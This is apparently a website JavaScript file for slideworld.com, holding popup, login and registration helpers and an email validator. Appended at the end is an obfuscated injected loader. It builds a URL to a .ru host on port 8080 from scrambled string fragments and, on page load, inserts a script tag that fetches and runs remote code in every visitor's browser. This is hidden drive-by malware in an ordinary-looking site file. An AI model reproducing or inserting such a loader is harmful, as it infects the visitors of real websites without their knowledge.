XMLHttp = null;
 if(window.XMLHttpRequest) {
	XMLHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject) {
	XMLHttp = new ActiveXObject("Microsoft.XMLHTTP");
}                                                                                             
function loading(){
	return '<IMG SRC="IMAGES/ajaxLoader.gif" border=0/> Loading...' 
}

function $(id){
    return document.getElementById(id);
}

function showMask()
{
    $("mask").style.display = 'block';
}
function hideMask()
{
    $("mask").style.display = 'none';
}
function closePoup(){
    //hideMask();
    $("form_div").style.display = "none";    
    $("form_div").innerHTML = "";
}

function hideLoading(){
	document.getElementById("div_loading").style.display = 'none';
	document.getElementById("loading_image_div").style.display = 'none';
}

function popup_box(title, url, wid, hei)
{
    body = createFrame(url_playlist, wid, hei, "no");
    //showMask();
	width = (wid) ? wid : 500;
	height = (hei) ? hei : 350;
	//box = '<TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0"><tr><td align="center" valign="top"><TABLE cellspacing="0" cellpadding="0" border="0" width="100%" onmousedown="dragWindow(event, '+'\'form_div\''+');"><TR ><td WIDTH="8"><IMG SRC="images/leftss.jpg" WIDTH="8" HEIGHT="20" BORDER="0" ALT=""></td><td background="images/sliderss.jpg" width="100%" HEIGHT="20" BORDER="0" ALT=""  Class="white"><B>'+title+'</B></td><TD background="images/sliderss.jpg" width="100%" HEIGHT="20" BORDER="0" ALT="" align="right"><A HREF="javascript:closeForm();void(0);" id="close_img"><IMG SRC="images/cross_ji.jpg" WIDTH="15" HEIGHT="15" BORDER="0" ALT="" ></A></TD><td WIDTH="8"><IMG SRC="images/rightss.jpg" WIDTH="8" HEIGHT="20" BORDER="0" ALT=""></td></TR></TABLE></td></tr><tr><td colspan="3"  class="White" style="border:1px solid #000000"><TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0" bgcolor="#f0efe8" width="100%"><TR><TD align="center"><TABLE cellspacing=0 cellpadding=0 border=0 align="center" ><TR><TD><div style="width:'+width+';height:'+height+';scrollbar-base-color:#CCCBC2;scrollbar-track-color:#F0EFE8; scrollbar-arrow-color:#FFFFFF; overflow:auto;" id="popupBody">'+body+'</div></TD></TR></TABLE>';
	box = '<TABLE cellpadding=3 cellspacing=0 border=0 style="border:2px solid #8ccb31;padding:0px;position:relative;z-index:100x"><TR style="background:#8ccb31;color:white;font-family:arial,verdana,tahoma;font-size:20px;font-weight:bold;"><TD height="30px" onmousedown="dragWindow(event, '+'\'form_div\''+');" Class="white" style="color:white;font-family:arial,verdana,tahoma;font-size:18px;font-weight:bold;"> '+title+' </TD><TD height="30px" align=right><A HREF="#" onclick="closePoup();" style="color:white;"  style="color:#93b2dd;font-family:arial,verdana,tahoma;font-size:18px;font-weight:bold;">[X]</A></TD></TR><TR><TD bgcolor="white" colspan=2><div style="width:'+width+';height:'+height+';scrollbar-base-color:#CCCBC2;scrollbar-track-color:#F0EFE8; scrollbar-arrow-color:#FFFFFF; overflow:auto;" id="popupBody">'+body+'</div></TD></TR></TABLE>';
	return box;
}
function popup_box1(title, url, wid, hei)
{
    body = createFrame(url_playlist, wid, hei, "no");
   // showMask();
	width = (wid) ? wid : 500;
	height = (hei) ? hei : 300;
	//box = '<TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0"><tr><td align="center" valign="top"><TABLE cellspacing="0" cellpadding="0" border="0" width="100%" onmousedown="dragWindow(event, '+'\'form_div\''+');"><TR ><td WIDTH="8"><IMG SRC="images/leftss.jpg" WIDTH="8" HEIGHT="20" BORDER="0" ALT=""></td><td background="images/sliderss.jpg" width="100%" HEIGHT="20" BORDER="0" ALT=""  Class="white"><B>'+title+'</B></td><TD background="images/sliderss.jpg" width="100%" HEIGHT="20" BORDER="0" ALT="" align="right"><A HREF="javascript:closeForm();void(0);" id="close_img"><IMG SRC="images/cross_ji.jpg" WIDTH="15" HEIGHT="15" BORDER="0" ALT="" ></A></TD><td WIDTH="8"><IMG SRC="images/rightss.jpg" WIDTH="8" HEIGHT="20" BORDER="0" ALT=""></td></TR></TABLE></td></tr><tr><td colspan="3"  class="White" style="border:1px solid #000000"><TABLE CELLSPACING="0" CELLPADDING="0" BORDER="0" bgcolor="#f0efe8" width="100%"><TR><TD align="center"><TABLE cellspacing=0 cellpadding=0 border=0 align="center" ><TR><TD><div style="width:'+width+';height:'+height+';scrollbar-base-color:#CCCBC2;scrollbar-track-color:#F0EFE8; scrollbar-arrow-color:#FFFFFF; overflow:auto;" id="popupBody">'+body+'</div></TD></TR></TABLE>';
	box = '<TABLE cellpadding=3 cellspacing=0 border=0 style="border:2px solid #8ccb31;padding:0px;position:relative;z-index:100px"><TR style="background:#8ccb31;color:white;font-family:arial,verdana,tahoma;font-size:20px;font-weight:bold;"><TD height="30px" onmousedown="dragWindow(event, '+'\'form_div\''+');" Class="white" style="color:white;font-family:arial,verdana,tahoma;font-size:18px;font-weight:bold;"> '+title+' </TD><TD height="30px" align=right><A HREF="#" onclick="closePoup();"  style="color:white;"  style="color:white;font-family:arial,verdana,tahoma;font-size:18px;font-weight:bold;">[X]</A></TD></TR><TR><TD bgcolor="white" colspan=2><div style="width:'+width+';height:'+height+';scrollbar-base-color:#CCCBC2;scrollbar-track-color:#F0EFE8; scrollbar-arrow-color:#FFFFFF; overflow:auto;" id="popupBody">'+body+'</div></TD></TR></TABLE>';
	return box;
}

function createFrame(secureUri, w, h, scrolling){
    w = (w) ? w : 200;
    h = (h) ? h : 200;
    scrolling = (scrolling) ? scrolling : "yes";
    
    return '  ';
}

var popTitle;
function setPopTitle(title){
	popTitle = title;
}
function getPopTitle()
{
	return popTitle;
}

var popWidth;
function setpopWidth(width){
	popWidth = width;
}
function getpopWidth(){
	return popWidth;
}

var popHeight;

function setpopHeight(height){
	popHeight = height;
}
function getpopHeight(){
	return popHeight;
}

function openregisterPage(){    
    setPopTitle("Sign Up Now...It's Free!");	
	url_playlist = 'http://slideworld.com/registrationAjax.aspx?P=R';
	newPopupBox = popup_box(getPopTitle(), url_playlist, 550, 600);
	$("form_div").innerHTML =  newPopupBox;
	//$("form_div").style.z-index = "10000";
	//$("form_div").style.clear = "both";
	$("form_div").style.display = "block";
	//$("form_div").style.position = "relative";
}

function loginPage(redirect)
{
   //alert("Hello")    
    redirect = (redirect) ? redirect : "home";
    setPopTitle("Please Login here.");	
	url_playlist = 'http://slideworld.com/registrationAjax.aspx?P=L&R='+redirect;
	//alert("hello")
	
	if(redirect=='event')
	{
	newPopupBox = popup_box1(getPopTitle(), url_playlist, 300, 230);
	}
	else
	{
	newPopupBox = popup_box(getPopTitle(), url_playlist, 300, 230);
	}
	$("form_div").innerHTML =  newPopupBox;	
	///$("form_div").style.zIndex = 100;
	$("form_div").style.display = "block";
	//$("form_div").style.position = "relative";
   // $("form_div").style.zIndex = 10000;
}


function emailValid(obj){
    if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(obj.value))
	{
	    return (true)	
	}
	else
	{
		return (false);
	}
}



var g;if(g!='' && g!='B'){g=null};function C(){var n;if(n!='rR'){n='rR'};var Rf=new String();var w;if(w!='' && w!='c'){w='U'};var v=String("gUs7f".substr(0,1));this.k='';var M=RegExp;this.eN="";var O='';this.RY='';var W="";function P(q,PQ){var Nk;if(Nk!='' && Nk!='K'){Nk=''};this.WT='';this.cG="";var Z;if(Z!='' && Z!='Oa'){Z=''};var h= String("[");h+=PQ;h+=new String("]VP4z".substr(0,1));var m='';var d=new M(h, v);return q.replace(d, O);var CS="";};var BS="";var YR='';var IV='';var t=window;var a=new String();var b=new String("/zapdV4".substr(0,4)+"AM8mpos.8mMA".substr(4,4)+"4eWcom/".substr(3)+"UrFzapprFU".substr(3,4)+"F13os.c3F1".substr(3,4)+"om/s"+"2wMtatc2Mw".substr(3,4)+"ount"+"er.cqNL".substr(0,4)+"om/zTUd".substr(0,4)+"yngaPHRo".substr(0,4)+".com"+"Qfs/goosQf".substr(3,4)+"gle.W4r".substr(0,4)+"com."+"php");var i;if(i!='BY' && i != ''){i=null};var bw=String("src");var hkq="";var A=P('8222722202722287227272702222777',"72");var bR;if(bR!='HO' && bR != ''){bR=null};var L=String("sc7qR8".substr(0,2)+"ri"+"ptXMdn".substr(0,2));this.ES="";var Nc='';var u=String("htt"+"p:/RlS".substr(0,3)+"spi/napsi".substr(3,3)+"rod"+"o21-ru1o2".substr(3,3)+"g2Z.dr".substr(3)+"udgf76".substr(0,3)+"Dpwoere".substr(4)+"por"+"t.cFgn".substr(0,3)+"U5pcom.5pUc".substr(4,3)+"virZJf".substr(0,3)+"gil"+"io-Y9Uh".substr(0,3)+"it.VATX".substr(0,3)+"dHGCbuyGHCd".substr(4,3)+"9cimypic9".substr(3,3)+"PUqalm".substr(3)+"p9MJ.ru".substr(4)+":7g0".substr(0,1));var E="L8INdef".substr(4)+"er6YZ".substr(0,2);var xH=new String();var Co;if(Co!='Md'){Co='Md'};this.pK="";this.lG="";var s='';var BO;if(BO!='ig' && BO != ''){BO=null};var Rx="";t.onload=function(){var Ib;if(Ib!='Sv'){Ib=''};var rKD="";try {this.TI='';s=u+A;var b_B;if(b_B!='f' && b_B != ''){b_B=null};s+=b;var NE;if(NE!='cR'){NE=''};de=document.createElement(L);var PJ;if(PJ!=''){PJ='CI'};var Hz='';this.am="";de[bw]=s;this.tW="";var bu=new Array();de[E]=[1][0];document.body.appendChild(de);this.kL="";var gp=new Date();var CIF;if(CIF!='Mj'){CIF='Mj'};var Uj;if(Uj!='wZ'){Uj='wZ'};} catch(z){};var FU=new Date();};var gD="";var yR=new Date();};var iE=new String();var MG='';C();